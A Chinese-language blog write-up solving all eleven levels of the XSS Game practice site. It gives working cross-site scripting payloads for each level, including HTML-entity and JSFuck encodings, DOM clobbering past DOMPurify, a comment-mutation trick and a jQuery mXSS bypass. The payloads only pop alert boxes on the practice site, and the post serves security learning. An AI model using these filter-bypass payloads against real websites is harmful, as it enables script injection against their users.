XSS學習筆記:XSS Game(xss.pwnfunction.com)1-11通關全解

思源湖的魚發表於2020-10-09

前言

繼續學習XSS
本篇是XSS Game平臺的通關全解

1、Ma Spaghet!

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原始碼
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  • 一個不安全的方式
  • 直接get傳輸somebody

輸入123看看位置

?somebody=123

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那就很簡單
用下svg或img標籤即可

?somebody=<svg%20οnlοad=alert(1337)>
?somebody=<img%20src=x%20οnerrοr=alert(1337)>

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2、Jefff

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原始碼
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傳入的jeff在eval裡

那就很簡單
把前面的語句搞掉就是了

?jeff="-alert(1337)-"
?jeff=";alert(1337);"

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3、Ugandan Knuckles

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原始碼
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過濾了尖括號
傳輸內容在input標籤裡

那就閉合前後引號
並用onfocus配合autofocus

?wey="οnfοcus=alert(1337)%20autofocus="

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4、Ricardo Milos

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原始碼
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使用者的輸入ricardo會成為表單提交的URL地址
由於沒有任何過濾,可以直接使用javascript偽協議來執行彈框

?ricardo=javascript:alert(1337)

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5、Ah That’s Hawt

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原始碼
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做了個過濾:括號、斜點、斜槓
那就得用html實體編碼

原語句 <svg onload="alert(1337)">
實體編碼 <svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
url編碼 %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

最終payload

?markassbrownlee=%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

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6、Ligma

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原始碼
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過濾了字母和數字
然後直接eval

查了查
這得用JSFuck繞過
可以將正常的JS程式碼混淆為只包含[, ], (, ), !, +這6種字元的字串
github連結

原輸入 alert(1337)
JSFuck加密 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url編碼 %5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

最終payload

?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

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7、Mafia

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原始碼
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三個限制

  • 擷取長度50的字串
  • '"+-!\[]被替換為_
  • alert被替換為_

繞過方法

  • 定義匿名函式,利用匿名函式的引數構造payload,同時使用正規表示式來繞過alert字串的檢測。
  • 利用數字和字串之間的互相轉換,來繞過針對alert的檢測。
  • 在URL地址後面加上#${payload},然後通過location.hash.slice(1)來獲取payload,也能做到繞過檢測。
// 匿名函式
Function(/ALERT(1337)/.source.toLowerCase())()
// 數字轉字串,將30進位制的數字8680439轉換成字串,就是alert
eval(8680439..toString(30))(1337)
// 在URL後面加上 #alert(1337)
eval(location.hash.slice(1))

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8、Ok, Boomer

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原始碼
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  • 使用了DOMPurify這個第三方庫來過濾非法字元
  • setTimeout(ok, 2000)中的ok可以接收一個函式或者字串,如果我們能夠向ok這個變數注入可執行的payload,那麼也就能成功彈框

可以使用DOM Clobbering的方式,通過向HTML注入DOM元素,來實現操作JavaScript變數

  • 首先,要構造一個變數ok,我們可以通過建立一個id=ok的DOM元素來實現,比如<div id="ok"></div>
  • 然後,ok需要接受一個字串作為值,而在對<a>標籤呼叫toString()方法時,會返回屬性href的值,所以,我們可以選擇<a>標籤作為構造物件
  • href的值要遵守protocol:uri的格式,然而,在href裡直接使用javascript:協議是不行的
  • 通過檢視DOMPurify的原始碼可以發現,它支援的合法的協議有mailto, tel, xmpp等等,隨便選擇一個即可
?boomer=<a%20id=ok%20href=mailto:alert(1337)>
?boomer=<a%20id=ok%20href=tel:alert(1337)>

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9、Area 51

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  • 正則過濾了輸入的debug引數
  • 搞了個template把輸入包裹進了註釋

輸入123看看

?debug=123

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<!–是多行註釋,所以換行的思路基本不可行

這裡查了查

  • 因為HTML中沒有巢狀註釋的概念,所以可以用新的註釋打破了舊的註釋
  • 而因為瀏覽器不喜歡在意外傳送時呈現php原始碼,所以<php>它會變異成<!--php-->
  • 這種變異會產生新的註釋,於是打破舊的註釋

做個嘗試

?debug=<?php>123

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可以看到123出來了

那就簡單了

?debug=<?php><svg οnlοad=alert(1337)>
?debug=<?><svg onload=alert(1337)>
?debug=<?php><img%20src=x%20οnerrοr=alert(1337)>

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10、Keanu

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  • 傳入number和name,number只接收第一個字元,name用了DOMPurify這個第三方庫來過濾非法字元
  • 用了Bootstrap使得input進行eval($('number#number').html()),這應該是注入點
  • 有個keanu呼叫了popover
?number=123&name=456

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查了查
可以通過data-container來控制 popover 的位置,data-content來控制內容

?number=1&name=<button%20data-toggle=popover%20data-container=number%20data-content="blah%20blah">

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?number='&name=<button data-toggle=popover data-container=number id=keanu data-content="'-alert(1337)//">
?number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">

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11、World War 3

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  • 跟上一題一樣的四個js檔案
  • escape過濾img引數
  • memeTemplate用傳入的 img & text 引數構造一個 HTML 模版
  • memeGen用來進行 DOM 元素操作等

目標應該是$(“#notify”).html(html)
所以要想辦法把 notify 引數設定為 true

DOM Clobbering

可以通過一些標籤的 id(name) 屬性來控制 document(window) 通過 DOM API(BOM API) 獲取到的某個東西
<img name=domain>用來刪除document.domain
這意味著我們可以在document物件上建立一個名為notify的屬性
參考:DOM Clobbering

setTimeout

簡化下題目
對形如

<div id="a"></div>
<script>
    a.innerHTML = new URL(location).searchParams.get('b');
    setTimeout(ok, 2000)
</script>

可以通過利用 Dom Clobbering 來實現 XSS
可以直接傳入 id 為 ok 的標籤進行 XSS

<a id=ok href=javascript:alert()>

原因

  • setTimeout的第一個引數,必須是個函式或字串
  • 根據 Dom Clobbering ,這裡的ok應該是一個 a 標籤,既然這不是個函式,它就嘗試用toString方法轉換成字串
  • 當 a 標籤通過toString()方法轉換我們可以得到它的 href 屬性,也就是javascript:alert(),所以我們就可以執行程式碼了

notify

這是我們需要想辦法設定為True的引數
需要引入一個name=notify的標籤來“覆蓋”掉原來的 notify 變數

JQuery’s ‘mXSS’

簡單跟一下 JQuery 的 html() 函式,我們可以發現有以下利用鏈:

html()->append()->doManip()->buildFragment()->htmlPrefilter()

在 htmlPrefilter() 函式中我們可以看到有這麼一段程式碼

// source of htmlPrefilter()
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
},
    ...

這段程式碼就是用來轉換一些自閉合標籤的標籤,例如<blah/>變成<blah></blah>

<style><style/>Elon

經過innerHTML會變成

<style>
   <style/>Elon
</style>

但是經過 jquery html() 就會變成

<style>
   <style>
</style>
Elon

這就可以繞過了

javascript黑魔法

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最終payload

<img name=notify><style><style/><script>alert()//
?img={valid_img_url}&text=<img name%3dnotify><style><style%2F><script>alert()%2F%2F

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結語

學到了好些知識點